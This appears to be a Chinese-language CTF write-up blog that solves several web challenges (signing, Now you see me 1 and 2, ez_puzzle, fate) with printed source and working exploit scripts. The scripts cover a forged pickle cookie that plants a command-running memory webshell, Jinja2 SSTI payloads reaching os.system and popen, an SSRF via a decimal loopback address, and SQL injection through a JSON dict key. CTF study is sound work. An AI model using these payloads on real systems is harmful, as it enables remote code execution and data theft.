我的清明三天假期😭,起伏不断,最终还是无法战胜,继续加油
最近一直看java,刷的题有点少,这次有点小碰壁了
这次题出的很好,赛后冷静下来很多都可以逻辑推理出来,还是急急急急急过头了😡
signing | SV
signing 过程
源码部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
try:
with open('../../secret.txt', 'r') as f:
secret = f.read()
except:
print("No secret file found, using default secret")
secret = "secret"
app = Bottle()
def index():
return '''HI'''
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=5000, debug=False)总体思路
看一下cookie,发现有类似序列化的东西,再看一下源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
""" Return the content of a cookie. To read a `Signed Cookie`, the
`secret` must match the one used to create the cookie (see
:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
cookie or wrong signature), return a default value. """
value = self.cookies.get(key)
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default密钥对应就进行loads操作,这里通过
./.././../secret.txt
可以绕过 –>Hell0_H@cker_Y0u_A3r_Sm@r7
不出网这里我打的是内存马,但是也可以写文件 <= 可以任意读取
24级的web手给了个http头回显的,也是增长了我的思路,在Now you see me 2中就有用到了,但是我没时间去做556
__import__('bottle').response.set_header('X-flag', __import__('base64').b64encode(__import__('os').popen('whoami').read().encode('utf-8')).decode('utf-8'))
- 送到cookie即可,pickle太久没碰忘记了,不然可以前三血
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19import hmac
import hashlib
import base64
SECRET = b'Hell0_H@cker_Y0u_A3r_Sm@r7'
payload = b'''cbuiltins\neval\n(S'__import__("bottle").app().route("/kc1zs4","GET",lambda :__import__("os").popen(request.params.get("cmd")).read())'\ntR.'''
# payload = b'''cbuiltins\neval\n(S'__import__("os").system("ping -c 4 4od3zs.dnslog.cn")'\ntR.''' # 不出网
# payload = b'''cbuiltins\neval\n(S'__import__("os").system("ls > ./kc1zs4")'\ntR.''' # 不可写?(题目说可写是怎么会是hhh
# payload = b'''cbuiltins\neval\n(S'app.route("/kc1zs4","GET",lambda :__import__("os").popen(request.params.get("cmd")).read())'\ntR.''' # 初步内存马,有域问题
msg_b64 = base64.b64encode(payload).decode('utf-8')
hmac_digest = hmac.new(
key=SECRET,
msg=msg_b64.encode('utf-8'),
digestmod=hashlib.sha256
).digest()
sig_b64 = base64.b64encode(hmac_digest).decode('utf-8')
malicious_cookie = f"!{sig_b64}?{msg_b64}"
print(f"恶意Cookie: {malicious_cookie}")
signing 总结
- pickle 构造payload + pker
- 深入理解flask内存马的域问题
- 表头回显法
Now you see me 1 | SV
Now you see me 1 过程
很有意思的一道题,还是要多查资料
第一步找源码(可以看看各种文件信息,大小发现不符),也可以直接到hxd中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)
lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
def index():
return 'try /H3dden_route'
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'
if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)无敌绕过题,其实绕过也是那几个技法,大致分为下面几大类
这里查了很多文章来着,有些忘记了,这个月找个时间系统复习一下
- ‘, “引号绕过: 需要使用[]和特殊的list, select这些过滤器来搞
- []方括号绕过: 需要使用一些属性_来绕过
- _下划线绕过: 编码/set+[]来取字符串
- request传入绕过: 这个是方法,不是情景hhh
这里一直想着绕过字符串卡了好久,后面发现每一种都是互相制约,可以说是绕过去希望不大,request没有被禁止,还是有一丝希望的,找文档
- flask doc request api,发现pragma参数,可能可以用来传递字符串,用.希望可以访问到
接下来是构造读字符串,使用print来
request|attr(request.pragma|string)
,是一个set的容器(request|attr(request.pragma|string)).get(1|string)
,查过可以用get(),用string过滤器可以构造字符串,刚好可以
可以构造payload了
- getshell
- 不可以用exec,因为有audit_hook,前面已经有4次了,如果不绕过只能直接rce了
- 先试试不绕过可以不可以读文件写文件,结果可读但是/flag_h3r3读时会出错,这里看报错信息细心的话会发现其实不是权限问题,而是字节解析问题,这里读取二进制会卡住,在bp中说binary流过大,应该是文件过大(实际上也确实是),但也只能找rce了
- 一开始一直在想怎么绕过del,发现其实可以直接使用__import__来绕过,直接使用os.system来执行命令,具体原理待我深究,后面再针对python安全再写一篇文章
- 拿flag要把文件拿到static路由再拉下来
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78import requests
host="http://eci-2zeho733fvocuo94trvf.cloudeci1.ichunqiu.com:8080"
# host="http://localhost:5000"
bp = {
"http": "http://localhost:8080",
}
session = requests.Session()
path_hidden="/H3dden_route"
headers_hidden={
"pragma": "args",
}
params_hidden={
"My_ins1de_w0r1d":
"Follow-your-heart-#}{%"\
"print("\
"("\
"("\
"request"\
"|attr((request|attr(request.pragma|string)).get(1|string))"\
"|attr((request|attr(request.pragma|string)).get(2|string))"\
")"\
".get((request|attr(request.pragma|string)).get(3|string))"\
".get((request|attr(request.pragma|string)).get(4|string))"\
"((request|attr(request.pragma|string)).get(5|string))"\
"|attr((request|attr(request.pragma|string)).get(6|string))"\
"((request|attr(request.pragma|string)).get(7|string))"\
")"\
")"\
"%}{#",
"1": "__init__",
"2": "__globals__",
"3": "__builtins__",
"4": "__import__",
"5": "os",
"6": "system",
# "7": "ls -al /app > main.py"
# "7": "ls /bin > main.py"
"7": "dd if=/flag_h3r3 of=./static/output;ls > main.py"
}
"""
to_get_args:
(request|attr(request.pragma|string)).get(1|string)
"""
r = session.get(host+path_hidden, params=params_hidden,headers=headers_hidden)
print(r.text)
params_hidden={
"My_ins1de_w0r1d":
"Follow-your-heart-#}{%"\
"print("\
"("\
"("\
"request"\
"|attr((request|attr(request.pragma|string)).get(1|string))"\
"|attr((request|attr(request.pragma|string)).get(2|string))"\
")"\
".get((request|attr(request.pragma|string)).get(3|string))"\
".get((request|attr(request.pragma|string)).get(4|string))"\
"((request|attr(request.pragma|string)).get(5|string),(request|attr(request.pragma|string)).get(6|string)).read()"\
")"\
")"\
"%}{#",
"1": "__init__",
"2": "__globals__",
"3": "__builtins__",
"4": "open",
"5": "main.py",
"6": "r",
}
# r = session.get(host+path_hidden, params=params_hidden,headers=headers_hidden, proxies=bp)
r = session.get(host+path_hidden, params=params_hidden,headers=headers_hidden)
print(r.text)- getshell
Now you see me 1 总结
- fenjing的使用
- ssti的内容
Now you see me 2 | 复现 | SV
Now you see me 2 | 过程
羡慕广外✌的连杀捏
继续先看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:20:49
@Author : LamentXU
'''
# DNS config: No reversing shells for you.
import flask
import time, random
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)
lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referrer",
"authorization","user", "pragma", "mimetype", "origin"
"Isn't that enough? Isn't that enough."]
# lock_within = []
allowed_endpoint = ["static", "index", "r3al_ins1de_th0ught"]
app = flask.Flask(__name__)
def index():
return 'try /H3dden_route'
def r3al_ins1de_th0ught():
quote = flask.request.args.get('spell')
if quote:
try:
if quote.startswith("fly-"):
for i in lock_within:
if i in quote:
print(i)
return "wouldn't it be easier to give in?"
time.sleep(random.randint(10, 30)/10) # No time based injections.
flask.render_template_string('Let-the-magic-{#'+f'{quote}'+'#}')
print("Registered endpoints and functions:")
for endpoint, func in app.view_functions.items():
if endpoint not in allowed_endpoint:
del func # No creating backdoor functions & endpoints.
return f'What are you doing with {endpoint} hacker?'
return 'Let the true magic begin!'
else:
return 'My inside world is always hidden.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'
if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)变化: 注意到request和endpoint没有被ban掉,而且没有了回显 –> 应该还是传参,需要别的绕过方法,不知道还能不能写文件,没有dockerfile
比赛时到这里就已经头昏脑涨了,不然应该可以再加400分
这个回显问题,一时打不了马和返回头来着,本地可以有回显(狗头),先本地使出回显语句再来(适用于代码内容一致的情况)
从简单的成本低的试起,可以拼接字符串,
r3al_ins1de_th0ught
中可以凑出data,加上static
可以凑出args1
2
3
4params_hidden={
"spell": "fly-#}{%print(request.endpoint)%}{#"
}
# 返回: Let-the-magic-r3al_ins1de_th0ught emm,endpoint原来时函数名,那就只能拼data了使用字符串拼接绕过有用更多过滤器slice,这里也没有ban
- jinjia2 docs有这一串话
slice(value, slices, fill_with=None)
Slice an iterator and return a list of lists containing those items. Useful if you want to create a div containing three ul tags that represent columns:1
2
3
4
5
6
7
8
9<div class="columwrapper">
{%- for column in items|slice(3) %}
<ul class="column-{{ loop.index }}">
{%- for item in column %}
<li>{{ item }}</li>
{%- endfor %}
</ul>
{%- endfor %}
</div>If you pass it a second argument it’s used to fill missing values on the last iteration.
但是有一个问题,大概率需要空格(space),不用的话现在暂时无法获取到string的指定索引处的,感到困难和无出路时换个思路!!! –> 使用for和slice来处理就可以,但是需要绕过空格,试一试吧
还得是ai: jinjia2中获取list中指定索引的内容
对于数字索引,也可以用 列表变量.索引 语法:1
2{{ my_list.0 }} {# 等同于 my_list[0] #}
{{ my_list.2 }} {# 等同于 my_list[2] #}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72"""
for len strip
9
2
12
19
"""
print("r3al_ins1de_th0ught".find('d'))
print("r3al_ins1de_th0ught".find('a'))
print("r3al_ins1de_th0ught".find('t'))
print(len("r3al_ins1de_th0ught"))
params_hidden={
# "spell": "fly-#}{%print(request.endpoint)%}{#"
# 括号绕过+找长度
# "spell": "fly-#}"\
# "{%set\td,a,t=0,0,0%}"\
# "{%for\ti\tin\trequest.endpoint|slice(19)%}"\
# "{%print(i)%}"\
# "{%print(loop.index)%}"\
# "{%endfor%}"\
# "{#"
# Let-the-magic-['r']1['3']2['a']3['l']4['_']5['i']6['n']7['s']8['1']9['d']10['e']11['_']12['t']13['h']14['0']15['u']16['g']17['h']18['t']19
#
# "spell": "fly-#}"\
# "{%set\td,a,t=0,0,0%}"\
# "{%for\ti\tin\trequest.endpoint|slice(19)%}"\
# "{%if\tloop.index==10%}"\
# "{%set\td=i%}"\
# "{%endif%}"\
# "{%if\tloop.index==3%}"\
# "{%set\ta=i%}"\
# "{%endif%}"\
# "{%if\tloop.index==13%}"\
# "{%set\tt=i%}"\
# "{%endif%}"\
# "{%if\tloop.index==19%}"\
# "{%print(d~a~t~a)%}"\
# "{%endif%}"\
# "{%endfor%}"\
# "{#"
# 用dict来获取字符串: false
# "spell": "fly-#}"\
# "{%set\tobj={0:0,1:1,2:2}%}"\
# "{%for\ti\tin\trequest.endpoint|slice(19)%}"\
# "{%if\tloop.index==10%}"\
# # d
# "{%print(obj.update({0:i}))%}"\
# "{%endif%}"\
# "{%if\tloop.index==3%}"\
# # a
# "{%print(obj.update({1:i}))%}"\
# "{%endif%}"\
# "{%if\tloop.index==13%}"\
# # t
# "{%print(obj.update({2:i}))%}"\
# "{%endif%}"\
# "{%endfor%}"\
# "{%print(obj.get(0)~obj.get(1)~obj.get(2)~obj.get(1))%}"\
# "{#"
# Let-the-magic-NoneNoneNone['d']['a']['t']['a']
# 其中None可以不担心,这里是用print来防止显示if后不能接obj
# 数字获取索引: Let-the-magic-data
"spell": "fly-#}"\
"{%for\ti\tin\trequest.endpoint|slice(1)%}"\
"{%print(i.9+i.2+i.12+i.2)%}"\
"{%endfor%}"\
"{#"
}
于是我们可以获取到request.data,事到如今,就可以开始拼接了
- However: request.data获取的是b字节流,这里用json进行发送后获取到的request.data实际上是
b'{"1": "kc1zs4"}'
- 一个思路是通过slice(1)后list.index获取每一个字符,然后用attr逐步拿到我们的payload,构造有点复杂(长,但是GET不限参数长度,应该够用),用脚本来更佳(
find+list.index
完美适配) –> 补档: 其实出题人也是这种写法,那就没问题了hhh,看看他的脚本(键ref)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32import requests
host="http://localhost:5000"
bp = {
"http": "http://localhost:8080",
}
session = requests.Session()
### failed
path_hidden="/H3dden_route"
params_hidden={
"spell": "fly-#}"\
"{%for\ti\tin\trequest.endpoint|slice(1)%}"\
"{%set\tdat=i.9+i.2+i.12+i.2%}"\
"{%print(dat)%}"\
"{%print(request|attr(dat|string))%}"\
# "{%print(request)%}"\
"{%endfor%}"\
"{#"
}
print(params_hidden['spell'])
"""
to_get_args:
(request|attr(request.pragma|string)).get(1|string)
"""
json_proxy={
"1" : "kc1zs4",
}
r = session.get(host+path_hidden,json=json_proxy, params=params_hidden)
print(r.text)- However: request.data获取的是b字节流,这里用json进行发送后获取到的request.data实际上是
这里就不费心构造了,看看如何使用请求头来回显,详见《深入jinjia2_ssti》
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69# 打击payload
{#- ======================================================= -#}
{#- [1] 通过 Flask request 对象注入 subprocess 模块 -#}
{#- ======================================================= -#}
{% set sub = request
| attr('application')
| attr('__globals__')
| attr('__getitem__')('__builtins__')
| attr('__getitem__')('__import__')('subprocess')
%}
{#- ======================================================= -#}
{#- [2] 通过 Flask request 对象注入 os 模块 -#}
{#- ======================================================= -#}
{% set so = request
| attr('application')
| attr('__globals__')
| attr('__getitem__')('__builtins__')
| attr('__getitem__')('__import__')('os')
%}
{#- ======================================================= -#}
{#- [3] 强制重新加载 subprocess 模块以绕过潜在限制 -#}
{#- ======================================================= -#}
{% print request
| attr('application')
| attr('__globals__')
| attr('__getitem__')('__builtins__')
| attr('__getitem__')('__import__')('importlib')
| attr('reload')(sub)
%}
{#- ======================================================= -#}
{#- [4] 强制重新加载 os 模块以绕过潜在限制 -#}
{#- ======================================================= -#}
{% print request
| attr('application')
| attr('__globals__')
| attr('__getitem__')('__builtins__')
| attr('__getitem__')('__import__')('importlib')
| attr('reload')(so)
%}
{#- ======================================================= -#}
{#- [5] 动态修改 werkzeug 的 server_version 属性实现命令执行 -#}
{#- ======================================================= -#}
{% print g
| attr('pop')
| attr('__globals__')
| attr('get')('__builtins__')
| attr('get')('setattr')(
g
| attr('pop')
| attr('__globals__')
| attr('get')('sys')
| attr('modules')
| attr('get')('werkzeug')
| attr('serving')
| attr('WSGIRequestHandler'),
'server_version',
g
| attr('pop')
| attr('__globals__')
| attr('get')('__builtins__')
| attr('get')('__import__')('os')
| attr('popen')(cmd)
| attr('read')()
)
%}
Now you see me 2 | 总结
出题人: 本来想禁止请求头回显,把随机延时放到render后面来打内存马条件竞争的。但是发现他娘的请求头回显根本禁止不死
???我请问呢?还有高手?内存马条件竞争?!
- jinjia2还是不熟练啊,还是得深入理解
- ctf最难的是找方向
ai出来的lamentxu中的最终payload,就是一个一个字符进行拼接的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24{% for i in request.endpoint|slice(1) %}
{% set dat = i.9~i.2~i.12~i.2 %}
{% for k in request|attr(dat)|string|slice(1) %}
{% set a0 = 'k.30~k.34' %}
{% set a1 = 'k.34~k.40~k.34' %}
{% set a2 = 'k.2~k.2~k.17~k.36~k.24~k.27~k.35~k.24~k.29~k.34~k.2~k.2' %}
{% set a3 = 'k.38~k.23~k.30~k.16~k.28~k.24' %}
{% set a4 = 'k.34~k.36~k.17~k.31~k.33~k.30~k.18~k.20~k.34~k.34' %}
{% set a5 = 'k.2~k.2~k.24~k.28~k.31~k.30~k.33~k.35~k.2~k.2' %}
{% set a6 = 'k.24~k.28~k.31~k.30~k.33~k.35~k.27~k.24~k.17' %}
{% set a7 = 'k.34~k.20~k.33~k.37~k.20~k.33~k.2~k.37~k.20~k.33~k.34~k.24~k.30~k.29' %}
{% set a8 = 'k.38~k.20~k.33~k.26~k.41~k.20~k.36~k.22' %}
{% set sub = request.application.__globals__[a2][a5](a4) %}
{% set osmod = request.application.__globals__[a2][a5](a0) %}
{% set imp = request.application.__globals__[a2][a5](a6) %}
{% do imp.reload(sub) %}
{% do imp.reload(osmod) %}
{% do setattr(
request.application.__globals__[a1].modules[a8].serving.WSGIRequestHandler,
a7,
osmod.popen(a3).read()
) %}
{% endfor %}
{% endfor %}
ez_puzzle | SV
ez_puzzle 过程
其实本质上是超级简单的前端题
js源码被混淆了,初见不知道怎么办,调试也不行,有无限debug
对于无限debug还是容易处理的,开发者工具设置即可
js混淆可以先大致看一下,注意到第一段有base64,放到cyberchef中解密,提示有zlib的格式,python脚本导出后发现是一个json字典(但是没法完全复原)
这里直接替换显然不合理,要先寻找阻力最小的路径,就是硬找
提取其中的一些信息: 有失败的字符串信息,顺着逻辑可以找到我们要点G表示second的判断处
- 思路一: 覆盖无果
- 思路二: 可以直接输出 done
- 思路三: 修改js的大于号小于号改变逻辑
题解中的说法是
因为这道题说两秒之内完成拼图,那么肯定是有时间差的。我们全局搜time
发现了endTime和startTime两个变量,那么就猜测程序会在拼图完成后把两个变量作差,然后与2000做⽐较,虽然endTime我们不知道,但是可以把startTime改的很⼤,然后作差为负数,也是⼩于2000的
ez_puzzle 总结
- js混淆
- js无限debug
- js在客户端运行,完全可控
总结: 思路为王
fate | 复现 | SV
fate 过程
淦!思路都是对的,但是当时在.绕过这里使用2130706433打过去一直报错,看到报错信息一直以为是解析问题,实则不然,还是太急急急了,遇到问题不会深入了解原因了
贴个源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81#!/usr/bin/env python3
import flask
import sqlite3
import requests
import string
import json
app = flask.Flask(__name__)
blacklist = string.ascii_letters
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)] # 取步长了
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks) # 二进制到十进制到chr,拼接到string_output中
return string_output
def nolettersproxy():
url = flask.request.args.get('url')
if not url:
return flask.abort(400, 'No URL provided')
target_url = "http://lamentxu.top" + url
for i in blacklist:
if i in url:
return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
if "." in url:
return flask.abort(403, 'No ssrf allowed')
response = requests.get(target_url)
return flask.Response(response.content, response.status_code)
def db_search(code):
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))") # 应该要靠code的解析问题来继续绕过了
found = cur.fetchone()
return None if found is None else found[0]
def index():
print(flask.request.remote_addr)
return flask.render_template("index.html")
def api_search():
if flask.request.remote_addr == '127.0.0.1':
code = flask.request.args.get('0')
if code == 'abcdefghi':
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")
name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;)
"""
fate = db_search(name)
if fate is None:
flask.abort(404, "No such Person")
return {'Fate': fate}
else:
flask.abort(400, "Hello local, and hello hacker")
else:
flask.abort(403, "Only local access allowed")
if __name__ == '__main__':
app.run(debug=True)Step1: 显然是一个ssrf的题目,通过proxy打1337并传入参数,然后再考虑绕过的事情: 十进制+二次url编码,eezz
Note1: python request发送get请求会自动再次进行编码!
Note2: ssrf中在第二次跳转后的&要一次url编码,第一次才不会被解析
如下是有问题的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19json_data = {
"name": "ANNA"
}
params_proxy = {
"url": f"@2130706433:5000/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39%261={json2bin(json_data)}",
# 这里的&也需要否则在第一次就会被解析掉,传不到第二次
}
print(params_proxy['url'])
r = session.get(host+path_proxy, params=params_proxy, proxies=bp)
print(r.text)
"""
- bp中的显示,可以看到ssrf进行三次编码,无法正常打
GET /proxy?url=%402130706433%3A5000%2F1337%3F0%3D%2525%2536%2531%2525%2536%2532%2525%2536%2533%2525%2536%2534%2525%2536%2535%2525%2536%2536%2525%2536%2537%2525%2536%2538%2525%2536%2539%261%3D01111011001000100110111001100001011011010110010100100010001110100010000000100010010000010100111001001110010000010010001001111101 HTTP/1.1
- 响应报错,是2130706433的ip地址解析问题
requests.exceptions.ConnectionError: HTTPConnectionPool(host='2130706433', port=5000): Max retries exceeded with url: /1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569&1=01111011001000100110111001100001011011010110010100100010001110100010000000100010010000010100111001001110010000010010001001111101 (Caused by NameResolutionError("<urllib3.connection.HTTPConnection object at 0x000001A0ECCC8B60>: Failed to resolve '2130706433' ([Errno 11001] getaddrinfo failed)"))
// Werkzeug Debugger
"""这些问题后都没有什么说法,还是报一样的解析错误 –> 可能是版本问题,按照dockerfile中的配置(没给全,只能联系客服了😭)/直接打打远程看看(确保其他没有问题)
1
2
3GET /proxy?url=@2130706433:5000/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39%261=01111011001000100110111001100001011011010110010100100010001110100010000000100010010000010100111001001110010000010010001001111101 HTTP/1.1
Caused by NameResolutionError("<urllib3.connection.HTTPConnection object at 0x000001DF80D529A0>: Failed to resolve '2130706433' ([Errno 11001] getaddrinfo failed)")
经过一番探索发现是端口的问题,哭死,最后总是打不通还是起docker好点
1
2
3
4
5
6
7
8
9
10
11# docker-compose.yml
version: '3'
services:
fate:
build: .
ports:
- "8020:8080"
environment:
- UWSGI_INI=/app/uwsgi.ini
- LISTEN_PORT=8080
restart: unless-stoppedStep2: 这里还有一个必须过的坎是
len(name) > 6
- json.loads根据提示是没有Pickle.loads这种可以直接rce的漏洞的,pass –> 此时并非说他没用,在这里也被误导了55,总之要团结一切可能的朋友
- 还有一种可能是解析问题,len让我们联想到数组,元组,列表和字典,都可以试一下,毕竟下面还有隐藏的waf🥹 <– 这里能这么做的根本原因是没有对name进行类型判断就插入
- 自己测试一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74# len_skip.py 测试的路由
import flask
import json
app = flask.Flask(__name__)
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
return string_output
def api_search():
req = flask.request.args.get('1')
try:
req = binary_to_string(req)
print(req)
req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
except:
flask.abort(400, "Invalid JSON")
if 'name' not in req:
flask.abort(400, "Empty Person's name")
name = req['name']
if len(name) > 6:
flask.abort(400, "Too long")
if '\'' in name:
flask.abort(400, "NO '")
if ')' in name:
flask.abort(400, "NO )")
"""
Some waf hidden here ;) --> 元组和列表,这里用字典试一下
"""
return f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{name}')))))))"
if __name__ == '__main__':
app.run(debug=True)
# json_load_test.py --> SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --": 'placeholder'}'))))))) 成功绕过
import requests
import json
def json2bin(json_input):
json_string = json.dumps(json_input)
binary_string = ''.join(format(ord(char), '08b') for char in json_string)
return binary_string
def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
return string_output
json_data = {
# 'name': ('abc', 'ddd')
# 'name': ("abc", "ddd") # tuple都是使用'
# 'name': ["abc", "ddd"] # list都是使用'
# 'name': {"abc": "ddd"} # dict也是使用'
'name': {'\'))))))) union select fate from fatetable where name=\'lamentxu\' --': "placeholder"}
# 'name': {'\'hello': 1} # 内部有'就会用",可以构造如上
}
json_bin = json2bin(json_data)
print(json_bin)
print(len(json.loads(binary_to_string(json_bin))))
print(json.loads(binary_to_string(json_bin)))
